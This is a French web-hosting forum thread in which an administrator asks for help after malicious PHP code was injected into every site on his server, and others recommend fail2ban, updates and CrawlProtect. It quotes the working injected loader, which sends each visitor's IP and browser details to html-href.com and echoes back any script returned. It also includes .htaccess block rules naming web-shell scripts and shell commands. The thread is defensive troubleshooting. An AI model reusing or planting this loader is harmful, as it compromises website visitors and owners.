RewriteCond %{HTTP_USER_AGENT} @nonymouse|ADSARobot|amzn_assoc|Anarchie|ASPSeek|Atomz|^[^?]*addresses\.com|Advanced\ Email\ Extractor|ah-ha|aktuelles|almaden|Art-Online|AspiWeb|ASSORT|ATHENS|attach|attache|autoemailspider|BackWeb|Bandit|BatchFTP|bdfetch|big.brother|BlackWidow|bmclient|Boston\ Project|Bot\ mailto:craftbot@yahoo.com|BravoBrian\ SpiderEngine\ MarcoPolo|Buddy|Bullseye|bumblebee|capture|CherryPicker|ChinaClaw|CICC|clipping|Crescent\ Internet\ ToolPack|cURL|Custo|cyberalert|Deweb|diagem|Digger|Digimarc|DIIbot|DirectUpdate|DISCo|Download\ Accelerator|Download\ Demon|Download\ Wonder|Downloader|Drip|DSurf15a|DTS.Agent|EasyDL|eCatch|echo\ extense|ecollector|efp@gmx\.net|EirGrabber|EmailCollector|Email\ Extractor|EmailSiphon|EmailWolf|Express\ WebPictures|ExtractorPro|EyeNetIE|fastlwspider|FavOrg|Favorites\ Sweeper|Fetch\ API\ Request|FEZhead|FileHound|FlashGet|FlickBot|fluffy|frontpage|GalaxyBot|Generic|Getleft|GetSmart|GetWeb!|GetWebPage|gigabaz|Girafabot|Go!Zilla|Go-Ahead-Got-It|GornKer|Grabber|GrabNet|Grafula|Green\ Research|Harvest|hhjhj@yahoo|hloader|HMView|HomePageSearch|HTTP\ agent|HTTPConnect|httpdown|http\ generic|HTTrack|^[^?]*iaea\.org|IBM_Planetwide|^[^?]*\.ideography\.co\.uk|Image\ Stripper|Image\ Sucker|imagefetch|IncyWincy|Indy\ Library|informant|Ingelin|InterGET|Internet\ Ninja|InternetLinkAgent|InternetSeer\.com|Iria|Irvine|iOpus|IPiumBot\ laurion(dot)com|Jakarta|JBH*Agent|JetCar|JustView|Kapere|KWebGet|Lachesis|larbin|LeechFTP|LexiBot|lftp|libwww|likse|Link*Sleuth|LINKS\ ARoMATIZED|LinkWalker|LWP|lwp-trivial|Magnet|Mac\ Finder|Mag-Net|Mass\ Downloader|MemoWeb|MCspider|Microsoft\ URL\ Control|MIDown\ tool|minibot\(NaverRobot\)|Missigua\ Locator|Mister\ PiX|MMMtoCrawl\/UrlDispatcherLLL|MSProxy|multithreaddb|nationaldirectory|Navroad|NearSite|NetAnts|NetCarta|netfactual|netcraft|NetMechanic|netprospector|NetResearchServer|NetSpider|Net\ Vampire|NetZIP|NEWT|nicerspro|NPBot|Octopus|Offline\ Explorer|Offline\ Navigator|OpaL|Openfind|OpenTextSiteCrawler|OutWit|PackRat|PageGrabber|Papa\ Foto|pavuk|pcBrowser|PersonaPilot|PingALink|Pockey|Program\ Shareware|psbot|PSurf|puf|Pump|PushSite|QRVA|QuepasaCreep|RealDownload|Reaper|Recorder|ReGet|replacer|RepoMonkey|Robozilla|Rover|RPT-HTTPClient|Rsync|SearchExpress|searchhippo|searchterms\.it|Second\ Street\ Research|Shai|sitecheck|SiteMapper|SiteSnagger|SlySearch|SmartDownload|snagger|SpaceBison|Spegla|SpiderBot|SqWorm|Star\ Downloader|Stripper|Sucker|SuperBot|SuperHTTP|Surfbot|SurfWalker|Szukacz|tAkeOut|tarspider|Teleport\ Pro|Telesoft|Templeton|traffixer|TrueRobot|TuringOS|TurnitinBot|TV33_Mercator|UIowaCrawler|URL_Spider_Pro|UtilMind|Vacuum|vagabondo|vayala|visibilitygap|vobsub|VoidEYE|vspider|w3mir|web\.by\.mail|Web\ Data\ Extractor|Web\ Downloader|Web\ Image\ Collector|Web\ Sucker|WebAuto|webbandit|Webclipping|webcollector|webcollage|WebCopier|webcraft@bea|WebDAV|webdevil|webdownloader|Webdup|WebEmailExtractor|WebFetch|WebGo\ IS|WebHook|Webinator|WebLeacher|WebMiner|WebMirror|webmole|WebReaper|WebSauger|WEBsaver|Website\ eXtractor|Website\ Quester|WebSnake|Webster|WebStripper|websucker|webvac|webwalk|webweasel|WebWhacker|WebZIP|Wget|whizbang|WhosTalking|Widow|WISEbot|WUMPUS|Wweb|WWWOFFLE|Wysigot|Xaldon\ WebSpider|XGET|x-Tractor|Zeus.* [OR]
RewriteCond %{HTTP_REFERER} ^XXX
RewriteRule (.*) /home/buzi/www/crawlprotect/noaccess/noaccess2.php   [L]
#-------------------------------
# Filter against PHPSHELL.PHP, REMOTEVIEW, c99Shell and others
#-------------------------------
RewriteCond %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR]
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)=(/|%2F)(h|%68|%48)(o|%6F|%4F)(m|%6D|%4D)(e|%65|%45)(.+)?(/|%2F)(.*)(/|%2F)(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^work_dir=.*$ [OR]
RewriteCond %{QUERY_STRING} ^command=.*&output.*$ [OR]
RewriteCond %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR]
RewriteCond %{QUERY_STRING} ^c=(t|setup|codes)$ [OR]
RewriteCond %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&f=.*))$ [OR]
RewriteCond %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&d=.*$ [OR]
RewriteCond %{QUERY_STRING} ^&?c=(l?v?i?&d=|v&fnot=|setup&ref=|l&r=|d&d=|tree&d|t&d=|e&d=|i&d=|codes|md5crack).*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(chmod|chdir|mkdir|rmdir|clear|whoami|uname|unzip|gzip|gunzip|grep|more|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$
RewriteRule (.*) /home/buzi/www/crawlprotect/noaccess/noaccess3.php  [L]

bbr18
29/04/2015, 18h20
CrawlProtect va plus loin, en bloquant les tentatives de connection à votre site en identifiant:

-des tentatives d'injection de code
-des tentatives d'injection SQL
-des visites de robot connus comme étant des "Badbots" (robot utilisés par les hackers)
-des aspirateurs de site
-des tentatives d'éxécution de commande shell
bah c'est loin d'être au point on dirait ou alors mal configuré ^^

sd82979
29/04/2015, 17h50
sans les mises a jour, il y a plein de failles récentes et graves qui restent ouvertes.

les mises a jour, ce n'est pas un choix, c'est une nécessite.

johnny57
29/04/2015, 17h29
De manière générale les scripts opensource sont mis à jour régulièrement. J'ai installé crawlprotect pour chaque domaine hébergé, ça rajoute des directives htaccess permettant de limiter le risque de hack.

Mmmh, en effet, fail2ban est configuré de manière très restreinte :

sshd
proftpd
dovecot

sont surveillés.

sasl
sshd
apache-auth
postfix
vsftpd
vsftpd
apache-badbots
apache-noscript
php-url-fopen
lighttpd-fastcgi
sshd
named-refused
named-refused

Sont désactivé. Tout ceux là mérite d'être activé ?

La MAJ de la R3 je me suis abstenu, j'ai vu énormément de gens ici qui ont planté leur serveur en lançant la maj de la R3. ça m'a, comment dire, refroidie.

bbr18
29/04/2015, 17h13
fail2ban est certes installé d'office sur la R3, mais c'est une install minimaliste, seule la jail ssh est active, ça fait un peu juste tout de même, tu devrais te plonger dans la configuration de fail2ban, mettre à jour ton serveur, y compris les CMS qui sont dessus et ça très, très régulièrement.

johnny57
29/04/2015, 17h00
Fail2ban est installé d'origine sur la R3, je suppose qu'il s'agit d'une attaque automatisée, certainement contre un cms installé, wordpress ? vu la variable dans le code ça m'y fait penser ($wp_k099) et comme WP a eu un soucis de sécurité il y a quelques jours. J'ai eu les mails des différentes installes WP sur le serveur confirmant une mise à jour automatique. Peut être un des blogs n'y était pas encore passé.

captainadmin
29/04/2015, 16h39
Hello,

Le plus simple est de sécuriser ton serveur avec firewall fail2ban, clé ssh et un controle de changement de tes fichiers.
Une mise à jour régulière du serveur est aussi un bon point.

Bon courage
http://www.captainadmin.com

johnny57
29/04/2015, 16h33
Bon,

J'ai cherché pour voir si une connexion SSH a eu lieu aujourd'hui. Aucune connexion SSH. Donc, je peux supposer que le compte root n'est pas compromis.

Par précaution j'ai fais un history et aucune commande n'a été entrée en SSH ce jour, donc pas de manipulation des fichiers de log.

Par contre, je n'ai aucune idée de comment trouver la porte d'entrée du hack.

johnny57
29/04/2015, 15h32
Bonjour,

J'ai un SP64 en release 3 qui date de fin d'année dernière. Je viens de rentrer et je m'aperçois que piwik ne fonctionne plus, ayant eu un soucis dan le passé, sur un autre serveur, de hack de piwik je me connecte en FTP et je constate que les fichiers .php ont tous été modifié.

Plus grave, tous les domaines hébergés sur le serveurs sont touchés.

Je ne sais pas par où commencer...
J'ai stoppé httpd pour éviter les soucis supplémentaires.

J'ai constaté que ce code a été injecté dans tous les fichiers php :

Code PHP:
#6762b5#
error_reporting(0); @ini_set('display_errors',0); $wp_k9 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i'$wp_k9) && !preg_match ('/bot/i'$wp_k9))){
$wp_k099="http://"."html"."-href".".com/"."href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_k9);
if (
function_exists('curl_init') && function_exists('curl_exec')) {$ch curl_init(); curl_setopt ($chCURLOPT_URL,$wp_k099); curl_setopt ($chCURLOPT_TIMEOUT20); curl_setopt($chCURLOPT_RETURNTRANSFER1);
$wp_9k curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_9k = @file_get_contents($wp_k099);}
elseif (
function_exists('fopen') && function_exists('stream_get_contents')) {$wp_9k=@stream_get_contents(@fopen($wp_k099"r"));}}
if (
substr($wp_9k,1,3) === 'scr'){ echo $wp_9k; }
#/6762b5#
?>
Je ne comprends pas tout à fait ce que ce code fait.

Merci d'avance pour votre aide.